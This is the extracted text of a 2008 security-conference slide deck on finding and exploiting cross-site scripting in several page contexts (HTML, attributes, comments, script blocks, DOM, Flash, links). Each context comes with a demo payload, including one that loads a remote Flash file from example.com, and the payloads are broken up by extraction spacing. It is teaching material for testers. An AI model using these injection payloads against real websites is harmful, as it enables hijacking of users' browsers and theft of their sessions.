Portcullis Computer Security.

Size: px

Start display at page:

Download "Portcullis Computer Security."

Lewis Russell
5 years ago
Views:

1 Portcullis Computer Security

2 How to detect and exploit %99 of XSS Vulnerabilities 2 April 2008 Portcullis Computer Security Limited 2

3 XSS? So What? Recently XSS has proven to be dangerous enough to consider. And it allows you to jump into VPN or it allows you to bypass firewall rules via XSS Tunnelling. 2 April 2008 Portcullis Computer Security Limited 3

4 What is it about? It s all about where output goes Straight into HTML Into Javascript / VbScript block As tag attribute And some other rare, strange places 2 April 2008 Portcullis Computer Security Limited 4

5 Understanding exploiting XSS It s like SQL injection but now our subsystem is not a database it s a browser and instead of a single quote we ve got some new meta characters. 2 April 2008 Portcullis Computer Security Limited 5

6 Ultimate Challenge Ultimate challenge of XSS issues is able to escape current block and make browsers render your piece of code. 2 April 2008 Portcullis Computer Security Limited 6

7 XSS Types These are most common XSS examples which you are going to see in the wild. I ll try to show a demo to exploit them. HTML Normal HTML Attribute without quotes HTML Attribute with single quotes HTML In Comments HTML In Javascript Blocks DOM based XSS Flash based XSS Direct Linking 2 April 2008 Portcullis Computer Security Limited 7

8 Not Covered Before jumping into exploiting these specific issues; Following rare but has seen concepts are not covered in this talk. XAS Cross Application Scripting Security Zones of IE Client-Site issues like.jar problem Advanced Flash Analyzes for XSS Exploiting XSS in real world Bypassing HTML parsing based XSS filters like gmail, myspace etc. 2 April 2008 Portcullis Computer Security Limited 8

9 HTML - Normal Most common XSS type, At least it was the most common one. But nowadays most of the developers aware of it. In this demo we assumed there is no filtering in the server-side. 2 April 2008 Portcullis Computer Security Limited 9

10 HTML - Normal DEMO <s cr i pt >a l er t ( 0x1) </ s cr i pt > 2 April 2008 Portcullis Computer Security Limited 10

11 HTML Attributes without Quotes When output used as an HTML attribute in the application, if it s coded in a sloppy HTML which has no quotes around it even if there is a server-side filtering we can bypass it! 2 April 2008 Portcullis Computer Security Limited 11

12 HTML Attributes without Quotes DEMO %20onl oa d=a l er t ( 0x2) %20 2 April 2008 Portcullis Computer Security Limited 12

13 HTML Attributes with Single Quotes Wrapping HTML attributes with a single quote is quite common, valid but a poor practice. Since single quote is not considered as HTML meta character is not encoded by any of default XSS filter functions like html_entities() or Server.HTMLEncode() 2 April 2008 Portcullis Computer Security Limited 13

14 HTML Attributes with Single Quotes DEMO onl oa d=a l er t ( 0x3) 2 April 2008 Portcullis Computer Security Limited 14

15 HTML In Comments If output goes into an HTML comment we need > closing tag. This will be encoded by default filters, so it should be unfiltered. 2 April 2008 Portcullis Computer Security Limited 15

16 HTML In Comments DEMO - -! ><s cr i pt >a l er t ( 0x4) </ s cr i pt > 2 April 2008 Portcullis Computer Security Limited 16

17 HTML Javascript Blocks Javascript blocks are too dangerous because meta characters are changing in there. If output goes into javascript we are not tag opener any more or double quotes. It all depends where it goes in Javascript, we may need a single quote, may need a double quotes or maybe only a space or semi column. 2 April 2008 Portcullis Computer Security Limited 17

18 HTML In Comments DEMO ; al er t ( 0x5) 2 April 2008 Portcullis Computer Security Limited 18

19 HTML DOM Based This is one of the most rare and hard to spot XSS types. You need a simple source code analyse over the script code. Most of DOM based XSS issues can not be identified by automated scanners (to( be honest non of them!) 2 April 2008 Portcullis Computer Security Limited 19

20 HTML In Comments DEMO #al er t ( 0x6) 2 April 2008 Portcullis Computer Security Limited 20

21 HTML Flash Based XSS It s being more and more popular There are several ways to see an XSS issue in Flash but most common ones Remote flash file loading Direct Linking Flash application generally load remote resources and if this resources can be controlled by parameters then it can be called directly and can be forced to call a remote malisious flash object. 2 April 2008 Portcullis Computer Security Limited 21

22 HTML Flash Based XSS DEMO vul n. s wf? pl ayer =ht t p: / / example. com/xs s. s wf _get URL( j avas cr i pt : al er t ( 0x7) _get URL( j avas cr i pt : al er t ( 0x7) ) 2 April 2008 Portcullis Computer Security Limited 22

23 HTML Direct Linking If linking functionality exist almost, always vulnerable to this attack! It can be something like Your address Homepage URL Your photo URL etc. 2 April 2008 Portcullis Computer Security Limited 23

24 HTML Flash Based XSS DEMO j avasa cr i pt : al er t ( 0x8) 2 April 2008 Portcullis Computer Security Limited 24

25 Final Words If a XSS issue is exploitable in Internet Explorer it s highly possibly exploitable in Mozilla based browser, attack vector may differs. CSS expr es s i on( ) and moz- bi ndi ng can allow you to trigger XSS payloads onload 2 April 2008 Portcullis Computer Security Limited 25

26 Final Words Know what you send Your browser can do some encoding which may invalidate your XSS test To able to exploit target server you may need to send HTML characters without proper encoding Confirm what you send from your proxy and be sure you tested it with encoding and without encoding 2 April 2008 Portcullis Computer Security Limited 26

27 vbs cr i pt : msgbox( A ny Questi ons? ) 2 April 2008 Portcullis Computer Security Limited 27

CNIT 129S: Securing Web Applications. Ch 12: Attacking Users: Cross-Site Scripting (XSS) Part 2

CNIT 129S: Securing Web Applications Ch 12: Attacking Users: Cross-Site Scripting (XSS) Part 2 Finding and Exploiting XSS Vunerabilities Basic Approach Inject this string into every parameter on every